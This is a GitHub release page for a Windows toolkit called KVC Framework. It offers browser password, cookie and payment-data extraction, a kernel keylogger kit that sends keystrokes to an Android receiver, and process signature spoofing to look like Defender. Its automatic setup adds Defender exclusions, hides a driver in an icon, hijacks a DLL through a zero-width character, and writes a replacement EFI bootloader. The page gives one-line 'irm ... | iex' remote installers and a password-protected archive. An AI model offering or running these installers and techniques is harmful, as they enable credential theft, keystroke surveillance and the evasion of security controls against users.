Skip to content

KVC Framework v1.0.1 - Release 04.04.2026

Choose a tag to compare

View all tags
@wesmar wesmar released this 04 Apr 18:01
· 36 commits to main since this release
v1.0.1
5e22840

KVC Framework v1.0.1 - Release 04.04.2026

🔐 PASSWORD: github.com

Extract downloaded release with password: github.com

📦 ARCHIVE CONTENTS (kvc.7z — 3.1M)

kvc-v1.0.1/
│
├── kvc.exe              ⭐ Main KVC Framework executable (REQUIRED)  [1.1M]
├── kvc.dat              ⭐ Encrypted PassExtractor module (OPTIONAL)  [740K]
│                           Required for: Chrome, Edge, Brave — passwords + cookies
├── README.txt           📄 Installation guide
│
└── other-tools/         🔧 Development & Research Tools (OPTIONAL)
    │
    ├── encoding-tools/  📦 Framework Build Pipeline
    │   ├── implementer.exe  - Steganographic icon builder
    │   ├── KvcXor.exe       - Resource encoder/decoder
    │   ├── kvc.ini          - Icon builder configuration
    │   ├── kvc.sys          - Kernel driver component
    │   ├── ExplorerFrame​.dll - System DLL (with U+200B hijack char)
    │   ├── kvc_orig.ico     - Original icon template
    │   ├── kvc.ico          - Built steganographic icon
    │   ├── kvc_pass.exe     - Password extractor binary
    │   └── kvc_crypt.dll    - Encryption / injection library
    │
    ├── undervolter/     🔋 EFI Undervolting Module
    │   ├── UnderVolter.dat  - Encrypted EFI payload → deploy with: kvc undervolter deploy
    │   ├── Loader.efi       - UEFI loader (replaces BOOTX64.EFI in mode A)
    │   ├── UnderVolter.efi  - Main EFI application (voltage/power MSR writes)
    │   └── UnderVolter.ini  - Per-CPU profile (Intel 2nd–15th gen, auto-selected by CPUID)
    │
    └── keylogger-kit/   ⌨️ Kernel Keylogger Research Tools
        ├── UdpLogger.apk       - Android UDP receiver (1.47 MB)
        ├── kvckbd.sys          - Keyboard hook driver (14 KB)
        ├── kvckbd.bat          - Automated deployment script
        ├── kvckbd_split.c      - Driver source code (79 KB)
        ├── OmniDriver.sys      - Universal kernel access (13 KB)
        ├── MainActivity.kt     - Android app source
        └── UdpLoggerService.kt - Android service source

🔗 DOWNLOAD LINKS

File Size Description
kvc.7z 3.1M Main archive (password: github.com)
kvc.enc 1.9M Deployment package (used by irm installer)
run — PowerShell one-command installer

🚀 QUICK INSTALLATION

One-Line Remote Install:

irm https://github.com/wesmar/kvc/releases/download/v1.0.1/run | iex

Downloads kvc.exe + kvc.dat, runs kvc setup automatically.

Mirror:

irm https://kvc.pl/run | iex

Manual:

  1. Download kvc.7z, extract with password github.com
  2. Open elevated Command Prompt (Run as Administrator)
  3. Run: kvc setup

✅ WHAT'S NEW — 04.04.2026

Process Signature Spoofing (Full Camouflage) — Added the ability to spoof
cryptographic signature levels (SignatureLevel and SectionSignatureLevel)
within the EPROCESS structure. When applying protection via kvc protect
or kvc set (e.g., PPL-Antimalware), KVC automatically calculates and
applies optimal signature levels (e.g., 0x37 / 0x07). The process becomes
indistinguishable from legitimate protected binaries (like MsMpEng.exe) even
under deep kernel inspection. Manual control via:
kvc spoof <PID|name> <ExeSigHex> <DllSigHex> — allows surgical manipulation
of signature bytes to mimic any Windows component (including Kernel/System
signatures like 0x1E / 0x1C).

Browser extraction without closing — Chrome, Edge, and Brave passwords,
cookies, and payment data are extracted while the browser is running.
The orchestrator kills only the browser's network-service subprocess (which
holds database file locks), not the browser itself. For Edge, a second
network-service kill is issued right before the DLL opens the database,
compensating for Edge restarting its network service faster than Chrome.

COM Elevation for Edge — Edge master key decryption now uses
IEdgeElevatorFinal (CLSID {1FCBE96C-1697-43AF-9140-2897C7C69767})
for all data types including passwords. DPAPI is used as fallback only.
Previous split-key strategy (DPAPI for passwords, COM for cookies) removed.

kvc.dat covers Chrome AND Edge — kvc.dat deploys both kvc_pass.exe
and kvc_crypt.dll to System32. Required for full extraction (passwords +
cookies + payments) from all Chromium-based browsers.

Legacy CPU support — no AVX/YMM instructions. Works on 3rd-gen Intel
Core and older (SSE2 only). Verified with dumpbin /disasm | findstr ymm.

Static CRT — kvc_pass.exe and kvc_crypt.dll link C++ runtime
statically (/MT). No vcruntime140.dll dependency.

UnderVolter — EFI undervolting module — kvc undervolter deploy writes
a custom UEFI application to the EFI System Partition. On boot it applies
Intel voltage/power-limit offsets via MSR writes before the Windows kernel
loads. ESP is accessed via GPT partition GUID using FindFirstVolume +
IOCTL_DISK_GET_PARTITION_INFO_EX — no drive-letter assignment or mountvol.
Supports Intel 2nd–15th gen (Sandy Bridge → Arrow Lake); profile selected
automatically by CPUID at boot. Build: KvcXor.exe option 6 packs
Loader.efi + UnderVolter.efi + UnderVolter.ini → UnderVolter.dat.
Full docs and source: https://kvc.pl/repositories/undervolter

📋 AUTOMATIC SETUP PROCESS (kvc setup)

  1. Moves kvc.exe to C:\Windows\System32
  2. Adds Windows Defender exclusions automatically
  3. Extracts kernel driver from steganographic icon resource
  4. Deploys PassExtractor if kvc.dat is present:
    • Decrypts and splits kvc.dat → kvc_pass.exe + kvc_crypt.dll
    • Writes both to C:\Windows\System32
  5. Full browser extraction (Chrome, Edge, Brave) available immediately

📞 CONTACT & SUPPORT

Release Date: 04.04.2026
© WESMAR 2026

Assets 5
Loading